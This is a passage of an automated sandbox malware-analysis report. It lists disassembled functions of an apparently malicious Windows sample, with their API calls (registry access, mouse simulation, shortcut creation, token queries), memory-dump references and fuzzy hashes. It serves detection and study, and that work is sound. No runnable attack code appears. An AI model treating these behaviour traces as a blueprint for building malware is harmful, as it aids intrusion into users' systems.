                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: HandleLoadModuleString$Message
                                      • String ID: %s (%d) : ==> %s: %s %s
                                      • API String ID: 4072794657-3128320259
                                      • Opcode ID: 9bc5c032d49c260e9669eef3243b2cfe11a5577d7fa629a3b34dbe27d45db61e
                                      • Instruction ID: 3c5fea66fb1592ca186727d9d915c0309354fa58fdb72fa9e2b7536e406c4eed
                                      • Opcode Fuzzy Hash: 9bc5c032d49c260e9669eef3243b2cfe11a5577d7fa629a3b34dbe27d45db61e
                                      • Instruction Fuzzy Hash: 540186FA5052187FEB50DBA49D89FEB336CDB08304F004492B746E2041EA749E849F74
                                      Function 00920889 Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON
                                      Download Yara Rule
                                      APIs
                                      • InterlockedExchange.KERNEL32(?,?), ref: 00920899
                                      • RtlEnterCriticalSection.NTDLL(00000000), ref: 009208AB
                                      • TerminateThread.KERNEL32(00000000,000001F6), ref: 009208B9
                                      • WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 009208C7
                                      • CloseHandle.KERNEL32(00000000), ref: 009208D6
                                      • InterlockedExchange.KERNEL32(?,000001F6), ref: 009208E6
                                      • RtlLeaveCriticalSection.NTDLL(00000000), ref: 009208ED
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                      • String ID:
                                      • API String ID: 3495660284-0
                                      • Opcode ID: de3d500a66ebe87d52ab220b95b9bb567ca0dfda0dc0a9216c119300f361b82c
                                      • Instruction ID: 98e77046baaeae5e84bcb86fbbb059bd87c4c0b61a7275a37e013afe05e4aefc
                                      • Opcode Fuzzy Hash: de3d500a66ebe87d52ab220b95b9bb567ca0dfda0dc0a9216c119300f361b82c
                                      • Instruction Fuzzy Hash: FEF03C7215B612BFD3911F94EE4DFCABB39FF46702F402021F201908A08BB5A4A0DF90
                                      Function 008E0147 Relevance: 9.3, APIs: 6, Instructions: 269COMMON
                                      Download Yara Rule
                                      APIs
                                      • __allrem.LIBCMT ref: 008E004A
                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008E0066
                                      • __allrem.LIBCMT ref: 008E007D
                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008E009B
                                      • __allrem.LIBCMT ref: 008E00B2
                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008E00D0
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                      • String ID:
                                      • API String ID: 1992179935-0
                                      • Opcode ID: f34cbcdfc8d62fc6f68ef1ef0b42743a3754587d6c921e2558e517bac15b21f9
                                      • Instruction ID: 6fe1d3183f36f9198a54929518f5f271ffa064afd54bdf8fd5be6aaac5e86c39
                                      • Opcode Fuzzy Hash: f34cbcdfc8d62fc6f68ef1ef0b42743a3754587d6c921e2558e517bac15b21f9
                                      • Instruction Fuzzy Hash: B681E572A00B469BD7209B6ECC41B6A73E9FF46364F24463AF611D6382EFB0D9409B51
                                      Function 008E618E Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                      Download Yara Rule
                                      APIs
                                      • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,008D8269,008D8269,?,?,?,008E63DF,00000001,00000001,8BE85006), ref: 008E61E8
                                      • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,008E63DF,00000001,00000001,8BE85006,?,?,?), ref: 008E626E
                                      • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 008E6368
                                      • __freea.LIBCMT ref: 008E6375
                                        • Part of subcall function 008E37B0: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 008E37E2
                                      • __freea.LIBCMT ref: 008E637E
                                      • __freea.LIBCMT ref: 008E63A3
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ByteCharMultiWide__freea$AllocateHeap
                                      • String ID:
                                      • API String ID: 1414292761-0
                                      • Opcode ID: bc7e490ee25470ec2b818f9b02751a78b7a7f314798b85554da8f6a90ccab292
                                      • Instruction ID: 70d0cc78704a3faccd8c97cb49f9098737ca25874348dd0ba3c19b75db1e291c
                                      • Opcode Fuzzy Hash: bc7e490ee25470ec2b818f9b02751a78b7a7f314798b85554da8f6a90ccab292
                                      • Instruction Fuzzy Hash: D251F372600296AFDF258F66CC45EBF77BAFB567A4B144228FD05D6240EB34EC60C690
                                      Function 0093BB02 Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                        • Part of subcall function 0093C8BF: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0093B5D5,?,?), ref: 0093C8DC
                                        • Part of subcall function 0093C8BF: _wcslen.LIBCMT ref: 0093C918
                                        • Part of subcall function 0093C8BF: _wcslen.LIBCMT ref: 0093C98F
                                        • Part of subcall function 0093C8BF: _wcslen.LIBCMT ref: 0093C9C5
                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0093BBF1
                                      • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0093BC4C
                                      • RegCloseKey.ADVAPI32(00000000), ref: 0093BC91
                                      • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0093BCC0
                                      • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0093BD1A
                                      • RegCloseKey.ADVAPI32(?), ref: 0093BD26
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
                                      • String ID:
                                      • API String ID: 1120388591-0
                                      • Opcode ID: a022a24ea908160fed5bf548005a04f11a845e37cac26b382eeb8580e6e91f89
                                      • Instruction ID: 87eda2a4f0cfc0855bac7e597356b6ad4a6c2619d3f901a84632a866e8e877a0
                                      • Opcode Fuzzy Hash: a022a24ea908160fed5bf548005a04f11a845e37cac26b382eeb8580e6e91f89
                                      • Instruction Fuzzy Hash: 63819F70208241EFD714DF68C895E2ABBE9FF85308F14495CF5998B2A2DB31ED45CB92
                                      Function 0090F696 Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • VariantInit.OLEAUT32(00000035), ref: 0090F6A2
                                      • SysAllocString.OLEAUT32(?), ref: 0090F749
                                      • VariantCopy.OLEAUT32(0090F94D,00000000), ref: 0090F772
                                      • VariantClear.OLEAUT32(0090F94D), ref: 0090F796
                                      • VariantCopy.OLEAUT32(0090F94D,00000000), ref: 0090F79A
                                      • VariantClear.OLEAUT32(?), ref: 0090F7A4
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Variant$ClearCopy$AllocInitString
                                      • String ID:
                                      • API String ID: 3859894641-0
                                      • Opcode ID: 6b14e399aed82585a6b785c0286a7d917e672ed22605caea26e0bd3c1fed1da2
                                      • Instruction ID: 661346cc4a8cd725144d90cfa3cd49c5c19c9397fbf57e339892b8e7d51bbf41
                                      • Opcode Fuzzy Hash: 6b14e399aed82585a6b785c0286a7d917e672ed22605caea26e0bd3c1fed1da2
                                      • Instruction Fuzzy Hash: 8051F731600310EEDF346B6498B5B69B3A8FF85710B248876FD06EF6E1DB748941CB52
                                      Function 008CA692 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                      • BeginPaint.USER32(?,?,?), ref: 008CA6C7
                                      • GetWindowRect.USER32(?,?), ref: 008CA72B
                                      • ScreenToClient.USER32(?,?), ref: 008CA748
                                      • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 008CA759
                                      • EndPaint.USER32(?,?,?,?,?), ref: 008CA7A7
                                      • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00907BA7
                                        • Part of subcall function 008CA7BF: BeginPath.GDI32(00000000), ref: 008CA7DD
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
                                      • String ID:
                                      • API String ID: 3050599898-0
                                      • Opcode ID: 0178c6d7f8c8749d34783d0edb0464f2c30ee3a72ce739d89be8b185af904b04
                                      • Instruction ID: 5b5fd1dd17a66144efc179859e0c374d1dccc4084cde5cf8e6b8d4805407252a
                                      • Opcode Fuzzy Hash: 0178c6d7f8c8749d34783d0edb0464f2c30ee3a72ce739d89be8b185af904b04
                                      • Instruction Fuzzy Hash: 91419C71109204AFD711DF64DC84FBA7BB8FB46728F140669F9A4C72A2C731A845EB62
                                      Function 0092070D Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • InterlockedExchange.KERNEL32(?,000001F5), ref: 0092072A
                                      • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00920765
                                      • RtlEnterCriticalSection.NTDLL(?), ref: 00920781
                                      • RtlLeaveCriticalSection.NTDLL(?), ref: 009207FA
                                      • ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00920811
                                      • InterlockedExchange.KERNEL32(?,000001F6), ref: 0092083F
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
                                      • String ID:
                                      • API String ID: 3368777196-0
                                      • Opcode ID: 3c36053104235289f54318f98df64202653558d0bad6cc7e1defc266121bfa45
                                      • Instruction ID: e7c7be77b8597cf8e2ecea05d5111fda1d0e215df205c2edfb4a105cfa2c67c5
                                      • Opcode Fuzzy Hash: 3c36053104235289f54318f98df64202653558d0bad6cc7e1defc266121bfa45
                                      • Instruction Fuzzy Hash: 12415C75900204EFDF049F58DC85AAA77B9FF48300F1480A9EE04DA29BDB70EE51DBA1
                                      Function 009480CD Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • ShowWindow.USER32(?,00000000,?,?,?,?,0090767D), ref: 0094813E
                                      • EnableWindow.USER32(00000000,00000000), ref: 00948164
                                      • ShowWindow.USER32(?,00000000,?,?,?,?,0090767D), ref: 009481C3
                                      • ShowWindow.USER32(00000000,00000004,?,?,?,?,0090767D), ref: 009481D7
                                      • EnableWindow.USER32(00000000,00000001), ref: 009481FD
                                      • SendMessageW.USER32(?,0000130C,?,00000000), ref: 00948221
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$Show$Enable$MessageSend
                                      • String ID:
                                      • API String ID: 642888154-0
                                      • Opcode ID: 8dc96f1f31d4eb288fa797214a6f22eda686ce7393ae862c8a58a8243c9a9cce
                                      • Instruction ID: 84c72df7e392dac92aacd00a8c38beb890a7fc349e5044c393dbe72ae354897b
                                      • Opcode Fuzzy Hash: 8dc96f1f31d4eb288fa797214a6f22eda686ce7393ae862c8a58a8243c9a9cce
                                      • Instruction Fuzzy Hash: BB41D97460A240EFDB25CF14D899FAA7BE4FB4A354F18406AE5585F272CB72A842DF40
                                      Function 00932201 Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetForegroundWindow.USER32(?,?,00000000), ref: 0093220F
                                        • Part of subcall function 0092E40C: GetWindowRect.USER32(?,?), ref: 0092E424
                                      • GetDesktopWindow.USER32 ref: 00932239
                                      • GetWindowRect.USER32(00000000), ref: 00932240
                                      • mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 0093227C
                                      • GetCursorPos.USER32(?), ref: 009322A8
                                      • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00932306
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$Rectmouse_event$CursorDesktopForeground
                                      • String ID:
                                      • API String ID: 2387181109-0
                                      • Opcode ID: e2114be03bdd6c4ced5bd87ccc30c61ec7d844abd78ca4554d1f6898bca8e5ff
                                      • Instruction ID: 12257685cdcd44a8fc3150f01d6edf1001d53091b1a2630b2c6c6ff12efcd586
                                      • Opcode Fuzzy Hash: e2114be03bdd6c4ced5bd87ccc30c61ec7d844abd78ca4554d1f6898bca8e5ff
                                      • Instruction Fuzzy Hash: 7D31BEB2509319AFC724DF14DC49F9BBBA9FF85310F000919F99597191CA31EA488B92
                                      Function 00914BD3 Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • IsWindowVisible.USER32(?), ref: 00914BEB
                                      • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00914C08
                                      • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00914C40
                                      • _wcslen.LIBCMT ref: 00914C5E
                                      • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00914C66
                                      • _wcsstr.LIBVCRUNTIME ref: 00914C70
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
                                      • String ID:
                                      • API String ID: 72514467-0
                                      • Opcode ID: 2c6d51e44befbaf0704bb03ab81a9bbb77f8f87356636928ad3f39e8b0e20a38
                                      • Instruction ID: ac5da536045cc18cc746eb74bfc00aaa26b8aada44508619759dcb7c83d95991
                                      • Opcode Fuzzy Hash: 2c6d51e44befbaf0704bb03ab81a9bbb77f8f87356636928ad3f39e8b0e20a38
                                      • Instruction Fuzzy Hash: BD210472309245BAFB155B69DC09EBB7BADDF4A750F108039F909CA192EE74DC8092A1
                                      Function 0092573C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B592D: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008B5922,?,?,008B48AA,?,?,?,00000000), ref: 008B594D
                                      • _wcslen.LIBCMT ref: 00925799
                                      • CoInitialize.OLE32(00000000), ref: 009258B3
                                      • CoCreateInstance.COMBASE(0094FD14,00000000,00000001,0094FB84,?), ref: 009258CC
                                      • CoUninitialize.COMBASE ref: 009258EA
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
                                      • String ID: .lnk
                                      • API String ID: 3172280962-24824748
                                      • Opcode ID: c1dd1e908e84cb71220190a3bd4e050a352394f12e97acad7e2f517902ce40f8
                                      • Instruction ID: c91f4435ea0aa585dcf58384c653319d29f0bf25f10eb15c013f47c03ad73dbf
                                      • Opcode Fuzzy Hash: c1dd1e908e84cb71220190a3bd4e050a352394f12e97acad7e2f517902ce40f8
                                      • Instruction Fuzzy Hash: 2CD17274A047119FC714DF28D880A6ABBE9FF89714F01895DF88A9B361CB71EC45CB92
                                      Function 00947B91 Relevance: 9.1, APIs: 6, Instructions: 82COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetWindowLongW.USER32(?,000000F0), ref: 00947BD5
                                      • SetWindowLongW.USER32(00000000,000000F0,?), ref: 00947BFA
                                      • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00947C12
                                      • GetSystemMetrics.USER32(00000004), ref: 00947C3B
                                      • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,0092B6CB,00000000), ref: 00947C5B
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                      • GetSystemMetrics.USER32(00000004), ref: 00947C46
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$Long$MetricsSystem
                                      • String ID:
                                      • API String ID: 2294984445-0
                                      • Opcode ID: 94354b7462e09a376d9df4a39ae68e774221d7f8b3528c5ed636b8cdef11b6e9
                                      • Instruction ID: 019bd0c89d686c6a17e0153008aeebbbae8d9b41eb72e97eb37bf47e8dedd763
                                      • Opcode Fuzzy Hash: 94354b7462e09a376d9df4a39ae68e774221d7f8b3528c5ed636b8cdef11b6e9
                                      • Instruction Fuzzy Hash: 6221D87122C2459FCB245FB8CC88E6A77A8FB45326F144638F962D23E0DB349941DB10
                                      Function 009116A1 Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00910EF8: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00910F0E
                                        • Part of subcall function 00910EF8: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00910F1A
                                        • Part of subcall function 00910EF8: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00910F29
                                        • Part of subcall function 00910EF8: RtlAllocateHeap.NTDLL(00000000,?,00000002), ref: 00910F30
                                        • Part of subcall function 00910EF8: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00910F46
                                      • GetLengthSid.ADVAPI32(?,00000000,00911279), ref: 009116F2
                                      • GetProcessHeap.KERNEL32(00000008,00000000), ref: 009116FE
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 00911705
                                      • CopySid.ADVAPI32(00000000,00000000,?), ref: 0091171E
                                      • GetProcessHeap.KERNEL32(00000000,00000000,00911279), ref: 00911732
                                      • HeapFree.KERNEL32(00000000), ref: 00911739
